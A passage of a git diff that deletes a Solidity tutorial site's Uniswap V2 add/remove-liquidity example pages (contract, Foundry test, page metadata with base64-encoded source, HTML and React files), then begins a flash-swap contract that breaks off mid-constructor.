IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); -IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); -IERC20 constant PAIR = IERC20(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); - -contract UniswapV2AddLiquidityTest is Test { - UniswapV2AddLiquidity private uni = new UniswapV2AddLiquidity(); - - // Add WETH/USDT Liquidity to Uniswap - function testAddLiquidity() public { - // Deal test USDT and WETH to this contract - deal(address(USDT), address(this), 1e6 * 1e6); - assertEq(USDT.balanceOf(address(this)), 1e6 * 1e6, "USDT balance incorrect"); - deal(address(WETH), address(this), 1e6 * 1e18); - assertEq(WETH.balanceOf(address(this)), 1e6 * 1e18, "WETH balance incorrect"); - - // Approve uni for transferring - safeApprove(WETH, address(uni), 1e64); - safeApprove(USDT, address(uni), 1e64); - - uni.addLiquidity(address(WETH), address(USDT), 1 * 1e18, 3000.05 * 1e6); - - assertGt(PAIR.balanceOf(address(uni)), 0, "pair balance 0"); - } - - // Remove WETH/USDT Liquidity from Uniswap - function testRemoveLiquidity() public { - // Deal LP tokens to uni - deal(address(PAIR), address(uni), 1e10); - assertEq(PAIR.balanceOf(address(uni)), 1e10, "LP tokens balance = 0"); - assertEq(USDT.balanceOf(address(uni)), 0, "USDT balance non-zero"); - assertEq(WETH.balanceOf(address(uni)), 0, "WETH balance non-zero"); - - uni.removeLiquidity(address(WETH), address(USDT)); - - assertEq(PAIR.balanceOf(address(uni)), 0, "LP tokens balance != 0"); - assertGt(USDT.balanceOf(address(uni)), 0, "USDT balance = 0"); - assertGt(WETH.balanceOf(address(uni)), 0, "WETH balance = 0"); - } - - /** - * @dev The transferFrom function may or may not return a bool. - * The ERC-20 spec returns a bool, but some tokens don't follow the spec. - * Need to check if data is empty or true. - */ - function safeTransferFrom( - IERC20 token, - address sender, - address recipient, - uint amount - ) internal { - (bool success, bytes memory returnData) = address(token).call( - abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount)) - ); - require( - success && (returnData.length == 0 || abi.decode(returnData, (bool))), - "Transfer from fail" - ); - } - - /** - * @dev The approve function may or may not return a bool. - * The ERC-20 spec returns a bool, but some tokens don't follow the spec. - * Need to check if data is empty or true. - */ - function safeApprove(IERC20 token, address spender, uint amount) internal { - (bool success, bytes memory returnData) = address(token).call( - abi.encodeCall(IERC20.approve, (spender, amount)) - ); - require( - success && (returnData.length == 0 || abi.decode(returnData, (bool))), - "Approve fail" - ); - } -} diff --git a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.html.ts b/src/pages/defi/uniswap-v2-add-remove-liquidity/index.html.ts deleted file mode 100644 index faf760d31..000000000 --- a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.html.ts +++ /dev/null @@ -1,237 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V2 Add Remove Liquidity" -export const description = "Uniswap V2 add remove liquidity" - -export const keywords = ["defi", "uniswap", "v2", "add", "remove", "liquidity", "amm"] - -export const codes = [ - { - fileName: "UniswapV2Liquidity.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9IDB4NUM2OWJFZTcwMWVmODE0YTJCNmEzRURENEIxNjUyQ0I5Y2M1YUE2ZjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBST1VURVIgPSAweDdhMjUwZDU2MzBCNGNGNTM5NzM5ZEYyQzVkQWNiNGM2NTlGMjQ4OEQ7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBVU0RUID0gMHhkQUMxN0Y5NThEMmVlNTIzYTIyMDYyMDY5OTQ1OTdDMTNEODMxZWM3OwoKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIF90b2tlbkEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW5CLAogICAgICAgIHVpbnQgX2Ftb3VudEEsCiAgICAgICAgdWludCBfYW1vdW50QgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgc2FmZVRyYW5zZmVyRnJvbShJRVJDMjAoX3Rva2VuQSksIG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5CKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEIpOwoKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAoX3Rva2VuQSksIFJPVVRFUiwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5CKSwgUk9VVEVSLCBfYW1vdW50Qik7CgogICAgICAgICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QiwgdWludCBsaXF1aWRpdHkpID0gSVVuaXN3YXBWMlJvdXRlcihST1VURVIpCiAgICAgICAgICAgIC5hZGRMaXF1aWRpdHkoCiAgICAgICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgICAgIF9hbW91bnRBLAogICAgICAgICAgICAgICAgX2Ftb3VudEIsCiAgICAgICAgICAgICAgICAxLAogICAgICAgICAgICAgICAgMSwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGV4dGVybmFsIHsKICAgICAgICBhZGRyZXNzIHBhaXIgPSBJVW5pc3dhcFYyRmFjdG9yeShGQUNUT1JZKS5nZXRQYWlyKF90b2tlbkEsIF90b2tlbkIpOwoKICAgICAgICB1aW50IGxpcXVpZGl0eSA9IElFUkMyMChwYWlyKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKHBhaXIpLCBST1VURVIsIGxpcXVpZGl0eSk7CgogICAgICAgICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QikgPSBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICBfdG9rZW5CLAogICAgICAgICAgICBsaXF1aWRpdHksCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiVHJhbnNmZXIgZnJvbSBmYWlsIgogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSBhcHByb3ZlIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZUFwcHJvdmUoSUVSQzIwIHRva2VuLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyUm91dGVyIHsKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50IGFtb3VudEFEZXNpcmVkLAogICAgICAgIHVpbnQgYW1vdW50QkRlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRBLCB1aW50IGFtb3VudEIsIHVpbnQgbGlxdWlkaXR5KTsKCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludCBsaXF1aWRpdHksCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRBLCB1aW50IGFtb3VudEIpOwp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMkZhY3RvcnkgewogICAgZnVuY3Rpb24gZ2V0UGFpcihhZGRyZXNzIHRva2VuMCwgYWRkcmVzcyB0b2tlbjEpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwp9Cg==", - }, - { - fileName: "UniswapV2LiquidityTest.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYyTGlxdWlkaXR5LnNvbCI7CgpJRVJDMjAgY29uc3RhbnQgV0VUSCA9IElFUkMyMCgweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzIpOwpJRVJDMjAgY29uc3RhbnQgVVNEVCA9IElFUkMyMCgweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzcpOwpJRVJDMjAgY29uc3RhbnQgUEFJUiA9IElFUkMyMCgweDBkNGExMWQ1RUVhYUMyOEVDM0Y2MWQxMDBkYUY0ZDQwNDcxZjE4NTIpOwoKY29udHJhY3QgVW5pc3dhcFYyQWRkTGlxdWlkaXR5VGVzdCBpcyBUZXN0IHsKICAgIFVuaXN3YXBWMkFkZExpcXVpZGl0eSBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjJBZGRMaXF1aWRpdHkoKTsKCiAgICAvLyAgQWRkIFdFVEgvVVNEVCBMaXF1aWRpdHkgdG8gVW5pc3dhcAogICAgZnVuY3Rpb24gdGVzdEFkZExpcXVpZGl0eSgpIHB1YmxpYyB7CiAgICAgICAgLy8gRGVhbCB0ZXN0IFVTRFQgYW5kIFdFVEggdG8gdGhpcyBjb250cmFjdAogICAgICAgIGRlYWwoYWRkcmVzcyhVU0RUKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWU2KTsKICAgICAgICBhc3NlcnRFcShVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIpOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoV0VUSC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSksIDFlNiAqIDFlMTgsICJXRVRIIGJhbGFuY2UgaW5jb3JyZWN0Iik7CgogICAgICAgIC8vIEFwcHJvdmUgdW5pIGZvciB0cmFuc2ZlcnJpbmcKICAgICAgICBzYWZlQXBwcm92ZShXRVRILCBhZGRyZXNzKHVuaSksIDFlNjQpOwogICAgICAgIHNhZmVBcHByb3ZlKFVTRFQsIGFkZHJlc3ModW5pKSwgMWU2NCk7CgogICAgICAgIHVuaS5hZGRMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSwgMSAqIDFlMTgsIDMwMDAuMDUgKiAxZTYpOwoKICAgICAgICBhc3NlcnRHdChQQUlSLmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAicGFpciBiYWxhbmNlIDAiKTsKICAgIH0KCiAgICAvLyBSZW1vdmUgV0VUSC9VU0RUIExpcXVpZGl0eSBmcm9tIFVuaXN3YXAKICAgIGZ1bmN0aW9uIHRlc3RSZW1vdmVMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIERlYWwgTFAgdG9rZW5zIHRvIHVuaQogICAgICAgIGRlYWwoYWRkcmVzcyhQQUlSKSwgYWRkcmVzcyh1bmkpLCAxZTEwKTsKICAgICAgICBhc3NlcnRFcShQQUlSLmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAxZTEwLCAiTFAgdG9rZW5zIGJhbGFuY2UgPSAwIik7CiAgICAgICAgYXNzZXJ0RXEoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSBub24temVybyIpOwogICAgICAgIGFzc2VydEVxKFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJXRVRIIGJhbGFuY2Ugbm9uLXplcm8iKTsKCiAgICAgICAgdW5pLnJlbW92ZUxpcXVpZGl0eShhZGRyZXNzKFdFVEgpLCBhZGRyZXNzKFVTRFQpKTsKCiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIkxQIHRva2VucyBiYWxhbmNlICE9IDAiKTsKICAgICAgICBhc3NlcnRHdChVU0RULmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiVVNEVCBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEd0KFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJXRVRIIGJhbGFuY2UgPSAwIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiVHJhbnNmZXIgZnJvbSBmYWlsIgogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSBhcHByb3ZlIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZUFwcHJvdmUoSUVSQzIwIHRva2VuLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K", - }, -] - -const html = `

Add / Remove Liquidity

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract UniswapV2AddLiquidity {
-    address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
-    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
-    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-    address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
-
-    function addLiquidity(
-        address _tokenA,
-        address _tokenB,
-        uint _amountA,
-        uint _amountB
-    ) external {
-        safeTransferFrom(IERC20(_tokenA), msg.sender, address(this), _amountA);
-        safeTransferFrom(IERC20(_tokenB), msg.sender, address(this), _amountB);
-
-        safeApprove(IERC20(_tokenA), ROUTER, _amountA);
-        safeApprove(IERC20(_tokenB), ROUTER, _amountB);
-
-        (uint amountA, uint amountB, uint liquidity) = IUniswapV2Router(ROUTER)
-            .addLiquidity(
-                _tokenA,
-                _tokenB,
-                _amountA,
-                _amountB,
-                1,
-                1,
-                address(this),
-                block.timestamp
-            );
-    }
-
-    function removeLiquidity(address _tokenA, address _tokenB) external {
-        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);
-
-        uint liquidity = IERC20(pair).balanceOf(address(this));
-        safeApprove(IERC20(pair), ROUTER, liquidity);
-
-        (uint amountA, uint amountB) = IUniswapV2Router(ROUTER).removeLiquidity(
-            _tokenA,
-            _tokenB,
-            liquidity,
-            1,
-            1,
-            address(this),
-            block.timestamp
-        );
-    }
-
-    /**
-     * @dev The transferFrom function may or may not return a bool.
-     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
-     * Need to check if data is empty or true.
-     */
-    function safeTransferFrom(
-        IERC20 token,
-        address sender,
-        address recipient,
-        uint amount
-    ) internal {
-        (bool success, bytes memory returnData) = address(token).call(
-            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
-        );
-        require(
-            success && (returnData.length == 0 || abi.decode(returnData, (bool))),
-            "Transfer from fail"
-        );
-    }
-
-    /**
-     * @dev The approve function may or may not return a bool.
-     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
-     * Need to check if data is empty or true.
-     */
-    function safeApprove(IERC20 token, address spender, uint amount) internal {
-        (bool success, bytes memory returnData) = address(token).call(
-            abi.encodeCall(IERC20.approve, (spender, amount))
-        );
-        require(
-            success && (returnData.length == 0 || abi.decode(returnData, (bool))),
-            "Approve fail"
-        );
-    }
-}
-
-interface IUniswapV2Router {
-    function addLiquidity(
-        address tokenA,
-        address tokenB,
-        uint amountADesired,
-        uint amountBDesired,
-        uint amountAMin,
-        uint amountBMin,
-        address to,
-        uint deadline
-    ) external returns (uint amountA, uint amountB, uint liquidity);
-
-    function removeLiquidity(
-        address tokenA,
-        address tokenB,
-        uint liquidity,
-        uint amountAMin,
-        uint amountBMin,
-        address to,
-        uint deadline
-    ) external returns (uint amountA, uint amountB);
-}
-
-interface IUniswapV2Factory {
-    function getPair(address token0, address token1) external view returns (address);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-}
-

Test with Foundry

-

forge test --fork-url <ethereum-mainnet-rpc>

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV2Liquidity.sol";
-
-IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
-IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-IERC20 constant PAIR = IERC20(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
-
-contract UniswapV2AddLiquidityTest is Test {
-    UniswapV2AddLiquidity private uni = new UniswapV2AddLiquidity();
-
-    //  Add WETH/USDT Liquidity to Uniswap
-    function testAddLiquidity() public {
-        // Deal test USDT and WETH to this contract
-        deal(address(USDT), address(this), 1e6 * 1e6);
-        assertEq(USDT.balanceOf(address(this)), 1e6 * 1e6, "USDT balance incorrect");
-        deal(address(WETH), address(this), 1e6 * 1e18);
-        assertEq(WETH.balanceOf(address(this)), 1e6 * 1e18, "WETH balance incorrect");
-
-        // Approve uni for transferring
-        safeApprove(WETH, address(uni), 1e64);
-        safeApprove(USDT, address(uni), 1e64);
-
-        uni.addLiquidity(address(WETH), address(USDT), 1 * 1e18, 3000.05 * 1e6);
-
-        assertGt(PAIR.balanceOf(address(uni)), 0, "pair balance 0");
-    }
-
-    // Remove WETH/USDT Liquidity from Uniswap
-    function testRemoveLiquidity() public {
-        // Deal LP tokens to uni
-        deal(address(PAIR), address(uni), 1e10);
-        assertEq(PAIR.balanceOf(address(uni)), 1e10, "LP tokens balance = 0");
-        assertEq(USDT.balanceOf(address(uni)), 0, "USDT balance non-zero");
-        assertEq(WETH.balanceOf(address(uni)), 0, "WETH balance non-zero");
-
-        uni.removeLiquidity(address(WETH), address(USDT));
-
-        assertEq(PAIR.balanceOf(address(uni)), 0, "LP tokens balance != 0");
-        assertGt(USDT.balanceOf(address(uni)), 0, "USDT balance = 0");
-        assertGt(WETH.balanceOf(address(uni)), 0, "WETH balance = 0");
-    }
-
-    /**
-     * @dev The transferFrom function may or may not return a bool.
-     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
-     * Need to check if data is empty or true.
-     */
-    function safeTransferFrom(
-        IERC20 token,
-        address sender,
-        address recipient,
-        uint amount
-    ) internal {
-        (bool success, bytes memory returnData) = address(token).call(
-            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
-        );
-        require(
-            success && (returnData.length == 0 || abi.decode(returnData, (bool))),
-            "Transfer from fail"
-        );
-    }
-
-    /**
-     * @dev The approve function may or may not return a bool.
-     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
-     * Need to check if data is empty or true.
-     */
-    function safeApprove(IERC20 token, address spender, uint amount) internal {
-        (bool success, bytes memory returnData) = address(token).call(
-            abi.encodeCall(IERC20.approve, (spender, amount))
-        );
-        require(
-            success && (returnData.length == 0 || abi.decode(returnData, (bool))),
-            "Approve fail"
-        );
-    }
-}
-
` - -export default html diff --git a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.md b/src/pages/defi/uniswap-v2-add-remove-liquidity/index.md deleted file mode 100644 index 6792eac75..000000000 --- a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Uniswap V2 Add Remove Liquidity -version: 0.8.20 -description: Uniswap V2 add remove liquidity -keywords: [defi, uniswap, v2, add, remove, liquidity, amm] ---- - -### Add / Remove Liquidity - -```solidity -{{{UniswapV2Liquidity}}} -``` - -### Test with Foundry - -`forge test --fork-url ` - -```solidity -{{{UniswapV2LiquidityTest}}} -``` diff --git a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.tsx b/src/pages/defi/uniswap-v2-add-remove-liquidity/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v2-add-remove-liquidity/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol b/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol deleted file mode 100644 index 2fb52310d..000000000 --- a/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol +++ /dev/null @@ -1,109 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IUniswapV2Callee { - function uniswapV2Call( - address sender, - uint amount0, - uint amount1, - bytes calldata data - ) external; -} - -contract UniswapV2FlashSwap is IUniswapV2Callee { - address private constant UNISWAP_V2_FACTORY = - 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; - - address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; - address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - - IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); - - IERC20 private constant weth = IERC20(WETH); - - IUniswapV2Pair private immutable pair; - - // For this example, store the amount to repay - uint public amountToRepay; - - constructor() { - pair = 